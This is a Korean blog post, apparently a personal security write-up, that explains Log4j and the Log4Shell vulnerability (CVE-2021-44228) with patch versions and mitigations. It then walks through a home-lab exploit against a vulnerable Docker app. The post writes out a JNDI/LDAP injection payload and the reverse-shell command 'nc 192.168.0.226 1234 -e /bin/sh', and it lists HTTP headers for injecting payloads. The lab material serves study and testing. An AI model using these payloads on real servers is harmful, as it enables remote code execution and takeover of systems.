LOG4J 란
Log4j. - Log For Java
Java, Kotlin, Scala, Groovy, Clojure 언어로 작성된 프로그램의 로그를 기록해주는 라이브러리.
아파치 소프트웨어 재단의 프로젝트 아파치 로깅 서비스의 일부이며 여러 자바 로깅 프레임워크들 중 하나다. 해당 라이브러리 사용목적은 최종 사용자의 제품문제 및 정보 식별, 프로그램 개발 중의 디버깅을 위해 정해진 양식에 맞추어 화면 상이나 파일로 로그를 남기는 것으로 사용된다.
Log4j 란
Log4J 라는 라이브러리는 서버에서 가동되는 소프트웨어의 일련의 이벤트들에 대한 프로그램 로깅을 도와주는 역할을 한다 볼 수 있고, Log4j 설정 값에 따른 경로 내 설정한 특정 로그들을 로깅해주는 역할 기능을 제공한다 할 수 있다.
해당 라이브러리는 공개 오픈소스 라이브러리라 많은 관공서, 기업체, 정부기관에서 사용 중이다.
Log4j 구성
구성파일이나 자바코드를 통해 구성할 수 있으며, XML 이나 JSON, YAML 또는 properties 파일 포멧으로 작성이 가능하다. 구성 내에서 사용자는 3개의 주요 구성 요소를 정의할 수 있고, Loggers, Appenders, Layouts, 파일을 통해 로깅을 구성하는 경우 Log4j 를 사용하는 응용 프로그램을 수정하지 않고 로그 기능을 켜고 끌 수 있다. 으용 프로그램은 문제가 생길 까지 로그를 끌 수 있다. (로깅 자체를 되돌리거나 단순히 구성파일 수정으로 가능하다.)
- Loggers : 로그 메시지 도착지 이름
- Appenders : 실제 출력을 수행하는 실체
- Layout : Appenders가 로그 항목의 서식을 지정하기 위해 사용
- Filters : Log4j2 의 기능. 어느 로그항목이 어느 Loggers 와 Appenders 에 의해 처리되어야 하는지 세밀하게 조절하기 위해 필요
취약점 Log4Shell
CVE 번호
- CVE-2021-44228
- CVE-2021-45046 (Log4j 2.15.0)
- CVE-2021-45105 (Log4j 2.16.0)
- CVE-2021-4104 (Log4j 1.2)
- CVE-2021-44832 (Log4j 2.17.0)
- 해당 문서에선 CVE-2021-44228 취약점을 대표적으로 다룬다.
이외 취약점의 경우 추가 서술 예정.
해당 CVE 는 Java 기반 로깅 API 인 Apache Log4j 라이브러리에서 원격 코드 실행(RCE) 취약점이다.
공격 구문을 보면 알겠지만 RCE 이외 다른 행위가 가능한데 서버 내 특정 프로그램 실행이나 데이터 조회 등이 가능하다.
취약점 상세
C V E | CVE-2021-44228 (Log4shell) CVE-2021-45046 CVE-2021-45105 CVE-2021-4104 CVE-2021-44832 |
영향 버전 | log4j 2.0 ~ 2.16.0 |
패치 버전 | Java 8~ : log4j 2.17 Java 7 : log4j 2.12.3 Java 6 : log4j 2.3.1 |
완화 방법 | 2.10 < : log4j2.formatMsgNoLookups=true 2.10 > : JndiLookup Class Delete |
본인이 해당 취약점 정리할 당시 해당 흐름도를 파악하지 않다보니 글로 정리된 취약점 설명에 대해 잘못 확인하고 이해하였다.
그래서 LDAP 서버와 HTTP 서버가 동일한 서버로 이해하여 "LDAP 쿼리만 던져주면 악성 코드를 불러와 악성 파일을 불러오는구나" 라는 오류를 범하였다. 이러한 문제가 있을 수 있으므로 취약점에 대한 설명을 보기 전에 흐름도를 확인하는 것이 좋다.
취약점에 대한 흐름도 순서 상세는 다음과 같다.
- 공격자가 Log4j 에서 로깅하는 데이터 영역 (ex. User-Agent)에 공격자의 LDAP 서버주소 (Hacker-LDAP-Server) 를 호출할 수 있는 정보를 담아 패킷으로 공격대상 서버에 전달한다.
- 전달되는 공격쿼리는 ${~~} 형태 문자열 변수로 전달
- 공격대상 서버는 전달된 로깅 항목으로 지정된 데이터(공격자가 전달한 데이터) - ${jndi:ldap://Hacker-LDAP-Server/exploit} 를 로그로 출력한다.
- 공격자가 전달한 공격자 LDAP 호출정보가 담긴 문자열 변수를 확인한 서버는 no_lookups 옵션 (Lookup 기능) 으로 인해 프레임워크 내 jndi 기능 호출을 인지
- 공격대상 서버 내 Log4j 프레임워크에서 ${jndi:~~} 키워드를 확인하고 공격자가 전달한 ldap://Hacker-LDAP-Server/Exploit 을 공격자의 LDAP서버로 질의(요청)한다.
- 공격자의 LDAP서버는 공격대상 서버의 LDAP질의를 확인하고 해당 질의에 대해 미리 준비된 공격자의 악성 자바 클래스 파일이 포함된 HTTP 서버에 대한 정보를 공격대상 서버로 질의에 대한 응답을 해준다.
- 공격대상 서버는 공격자 LDAP 서버로부터 전달 받은 공격자의 HTTP 서버로부터 악성자바 클래스 파일을 요청한다.
- 공격자의 HTTP 서버는 악성자바 클래스 파일을 공격대상 서버로 전달해주며 해당 클래스 파일이 공격대상 서버에서 실행되어 공격자가 의도한 행위를 하게된다.
취약점 CVE-2021-44228 (Log4Shell) 실습
실습환경 구성방법
Log4Shell 에 대한 환경구축 이후 취약점 분석은 다음과 같이 진행된다.
실습환경 대상목록
대상 | IP | 비고 |
공격자 악성 LDAP 서버 | 192.168.0.226 (로컬) | 라즈베리 파이 4B (자바버전 유의) |
공격자 리버스 쉘 실행 서버 (HTTP) | ||
공격자 PoC 전달 IP | 119.65.xxx.yyy (공인) | 공격 서버 및 공격대상 서버 와 다른 외부 네트워크 환경 |
공격대상 Log4j 서버 | 192.168.0.232 (로컬, 도커) | docker ghcr.io/christophetd/log4shell-vulnerable-app |
취약점 실습 상세
1. 우선 공격대상의 웹 서비스를 실행시킨다. 해당 웹 서비스의 경우 도커환경으로 실행되며 환경구성 글에서 언급했다 싶이 포트번호 8080으로 실행되는 것으로 설정되었으니 본인처럼 동일한 네트워크 환경에서 공격하는 것이 아닌 외부를 통하여 PoC (JNDI를 통한 LDAP 요청) 코드를 전달하는 경우 포트포워딩을 통해 접속할 수 있도록 구성해야한다.
2. 외부환경에서 공격대상 서버에 대해 접근하게 되면 해당 서버는 페이지 요청 패킷 헤더 내 'X-Api-Version' 의 유무를 확인하고 해당 값이 존재하지 않으므로 에러페이지를 전달한다.
3. 페이지 접근 시 요청 패킷 헤더 내 'X-Api-Version' 을 입력하여 공격대상 서버에 전달 시, 서버에서 'Hello, world!' 라는 문자열을 서버 반응 값으로 응답하는 것에 대한 확인이 가능하다.
4. 서버에 대한 응답확인이 끝났다면 JNDI-Injection-Exploit 코드를 실행시켜 악성 LDAP 서버를 활성화 시킨다.
본인은 CVE-2021-44228 취약점의 공격 벡터와 동일하게 RCE 를 위해 전달 옵션 값으로 공격대상에서 실행시킬 명령어 "nc 192.168.0.226 1234 -e /bin/sh" 를 입력하였다.
이때 작성되는 IP의 경우 SSH 연결을 시도할 공격자 IP로 작성하며 포트번호의 경우 리버스 쉘을 연결할 포트번호로 작성한다.
익스플로잇 자바파일을 활성화 시키면 화면에 자바 버전에 따라 클래스 파일 요청 경로를 출력해주며, 서버 로그도 보여준다.
- 본인은 JDK 1.7 버전을 이용하므로 ldpa 요청 주소는 ldap://192.168.0.226:1389/sezyvc 이 된다.
리버스 쉘 공격을 위해 추가 쉘을 열어 netcat 으로 대기시켰다.
5. 외부에 존재하는 공격자는 X-Api-Version 내 악성 LDAP 서버 요청 PoC 를 작성하여 피해서버로 전달하면 피해서버에 로그가 남게 되며, 해당 로그 내 jndi 호출 구문 ($jndi{~~~}) 을 통해 ldap://192.168.0.226/sezycv 로 LDAP 요청을 수행한다.
이후 공격자의 LDAP 서버에서 악성 class 파일 (nc 요청 값이 존재하는 파일) 이 존재하는 위치를 피해서버에 전달하고 피해서버는 악성 Class 파일이 존재하는 공격자 HTTP 서버로 요청하여 해당 파일을 전달받은 이후 Class 파일을 해석하여 Class 파일 내 PoC 코드를 실행시킨다.
해당 PoC 코드(nc 192.168.0.226 1234 -e /bin/sh) 를 실행하여 리버스 쉘 환경이 이루어져 공격자 쉘 환경에서 공격대상 서버에 서 쉘 명령을 실행할 수 있게된다.
본래 도커 호스트PC 에서 공격자 PC 를 세팅하려 하였으나 도커 내에서 LDAP 요청을 호스트PC로 보내는 것이 어려워 추가로 공격자PC를 세팅하여 해당 실습을 진행하였으며, JNDI Injection 1.2 Snapshot.jar 코드의 경우 설치되는 자바 버전이 8u20 버전과 맞지 않아 정상실행이 되지 않는 문제로 인해 본래 실습할 내용과 차이가 생기게 되었다.
Log4shell 취약점 (CVE-2021-44228) 의 주요 포인트는
- 피해 서버에서 Log4j API (log4j-core) 내 jndi Lookup 기능 (옵션 no_lookups)을 이용하고 있는지
- com.sun.jndi.ldap.object.trustURLCodebase 값이 true 로 설정되어 있는지 (해당 값은 신뢰하지 않은 원격지의 클래스 파일 로드의 활성화 시키는 값이다.)
로 2가지로 압축할 수 있다 판단한다.
jndi Lookup 기능으로 LDAP 참조요청 이 가능해야하며, 여기에서 trustURLCodebase 옵션으로 외부에서 클래스 파일의 로드가 가능해야 결론적으로 공격자가 악성코드 로드가 가능한 CVE-2021-44228 취약점으로 연계가 가능하다.
물론 trustURLCodebase 옵션이 false 라고 해서 안전한 것이 아니다.
해당 옵션에 대한 우회(CVE-2018-3149)로 다른 공격 벡터로의 RCE 가 가능하기 때문.
- 해당 취약점의 경우 공격대상 서버 내 javax.naming.spi.ObjectFactory 인터페이스 구현 후 하나 이상의 getObjectInstance() 메소드가 존재하는 클래스를 이용해 우회를 시도하며, 해당 조건을 만족하는 클래스는 Tocat8 의 org.apache.naming.factory.BeanFactory 클래스다. (참고 - 어느 Java 버전까지 우회가 가능한가?)
해당 취약점은 Log4j 의 버전 이 해당된다고 해서 터지는 취약점이 아닌, 결국 Lookup 기능의 사용유무와 trustURLCodebase 옵션 사용 유무라고 볼 수 있다.
취약점 발표 이후 파생된 취약점들이 존재하는데, 해당 취약점과 비슷하나 공격 벡터와 관점이 다르므로 해당 취약점에 해당하는 보안대책을 적용하는 것이 권장된다.
모의해킹 프로젝트 진행 시 Log4j 사용여부에 대해 파악이 우선적으로 선행되어야 하므로 Burpsuite - Collaborator 을 이용하거나 LDAP 서버 응답을 이용하여 Log4j 가 JNDI Lookup 을 해석하는지 확인해봐야할 것이다.
* Log4shell 의 핵심을 두 가지로 나누면
취약 서버 내 로깅하는 부분에서 JNDI 구문이 실행이 가능하다.
가 우선 첫 번째, 이후 이루어지는 Log4shell 공격의 PoC 로 사용되는 JNDI Injecition인
JNDI 를 통해 LDAP 서버를 참조하여 원격지 Java Class 파일을 가져와서 실행한다.
으로 두 번째라고 볼 수 있고, Log4shell은 결국
- log4j 라이브러리 내에서의 JNDI 구문 실행 가능여부
- JNDI Injection - 실행된 JNDI 구문을 통해 LDAP 서버를 참조한 원격지 Java Class 파일의 실행 여부
이 두 가지 항목에 대한 연계 공격 이라고 할 수 있겠다.
Log4j 가 로깅되는 패킷 헤더영역 참조 -
Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Authorization
Authorization: Basic
Authorization: Bearer
Authorization: Oauth
Authorization: Token
Cache-Control
Cf-Connecting_ip
CF-Connecting_IP
Client-Ip
Client-IP
Contact
Cookie
Destination
DNT
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
If-Modified-Since
Max-Forwards
Origin
Originating-Ip
Pragma
Profile
Proxy
Proxy-Host
Referer
TE
True-Client-Ip
True-Client-IP
Upgrade
User-Agent
Via
Warning
X-Api-Version
X-Arbitrary
X-Att-Deviceid
X-ATT-DeviceId
X-Client-Ip
X-Client-IP
X-Correlation-ID
X-Csrf-Token
X-CSRFToken
X-Do-Not-Track
X-Foo
X-Foo-Bar
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Server
X-Forwarded-Ssl
X-Forwarder-For
X-Forward-For
X-Forward-Proto
X-Frame-Options
X-From
X-Geoip-Country
X-Host
X-Http-Destinationurl
X-HTTP-DestinationURL
X-Http-Host-Override
X-Http-Method
X-Http-Method-Override
X-HTTP-Method-Override
X-Http-Path-Override
X-Https
X-Htx-Agent
X-Hub-Signature
X-If-Unmodified-Since
X-Imbo-Test-Config
X-Insight
X-Ip
X-Ip-Trail
X-Leakix
X-Log
X-Original-URL
X-Originating-Ip
X-Originating-IP
X-ProxyUser-Ip
X-Real-Ip
X-Real-IP
X-Remote-Addr
X-Remote-Ip
X-Requested-With
X-Request-ID
X-UIDH
X-Wap-Profile
X-XSRF-TOKEN
LDAP 란
LDAP - Lightweight Directory Access Protocol
네트워크 상 조직이나 개인, 파일, 디바이스 등을 찾아볼 수 있게 해주는 소프트웨어 프로토콜로, 해당 서비스 등장 이전 디렉터리 서비스 표준 X.500의 Directory Access Protocol 이 존재하였으나 OSI 계층 전체 프로토콜을 지원하며 통신 간 네트워크 자원을 많이 소비하는 등의 운영환경에 제약이 많아, 해당 프로토콜을 기반으로 경량화한 LDAP 등장 이후 교체되었다.
* 디렉터리 서비스는 이름을 기준으로 대상을 찾아 조회하거나 편집할 수 있는 서비스임.
LDAP 요청의 99% 는 검색에 대한 요청이며 검색하는 디렉터리 내 연락처나 사용자, 파일, 코드 등등 어떤 종류가 되었든 데이터 입력이 가능하며 INSERT / UPDATE 보다 검색요청에 특화되어있다.
즉 LDAP 프로토콜은 TCP/IP 단에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜이다.
JNDI 란
Java Naming and Directory Interface.
디렉터리 서비스에서 제공하는 데이터 및 객체를 발견 (Discover) 하고 참고(Lookup) 하기 위한 자바 API.
일반적으로 외부 디렉터리 서비스 (주소 데이터베이스 및 LDAP 서버)에 연결하거나 자바 애플릿(Java applet) 이 호스팅 웹 컨테이너가 제공하는 구성 정보를 참고할 때 사용된다.
DB Connection 을 WAS 단에서 제어하며 서버 내 하나의 Connection Pool (공유객체를 사용) 를 가지며 어플리케이션이 DB에 직접 연결요청 (Connection) 을 하는 것이 아니라 JNDI lookup 을 통하여 Datasource 객체를 획득하고 그것을 연결 요청(Connection)을 하게 된다.
한 줄 요약하자면 java 로 작성된 어플리케이션을 DNS나 LDAP, RMI, NDS 등 Naming/Directory 서비스에 연결하기 위한 API라 할 수 있다.
참고 :
'CVE Analyze > CVE-2021-44228' 카테고리의 다른 글
Log4shell - Vulnerable App Setting (0) | 2023.12.19 |
---|